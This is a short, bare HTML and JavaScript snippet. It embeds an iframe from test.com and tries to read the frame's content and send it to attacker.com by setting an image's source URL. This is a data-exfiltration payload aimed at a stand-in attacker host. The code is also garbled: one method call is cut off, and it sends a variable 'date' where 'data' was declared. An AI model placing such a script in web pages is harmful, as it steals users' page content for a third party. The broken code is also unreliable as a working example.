<iframe id='myFrame' src="https://test.com/mypage.php"></iframe>
<script>
var myFrame = document.getElementById('myFrame');
var data = myFrame.contentDocument.getElementBy
var i = new Image();
i.src = "https://attacker.com/?" +date;
</script>